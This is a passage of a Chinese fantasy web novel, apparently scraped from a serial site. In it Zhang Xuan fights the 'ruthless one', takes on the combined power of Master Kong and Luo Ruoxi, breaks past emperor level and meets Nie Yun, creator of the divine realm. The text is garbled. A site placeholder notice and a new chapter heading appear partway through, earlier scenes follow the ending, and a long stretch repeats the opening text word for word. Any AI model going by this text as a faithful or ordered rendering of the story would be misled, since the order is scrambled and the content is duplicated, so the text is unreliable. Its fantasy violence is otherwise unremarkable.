炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十三章 帮助 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! 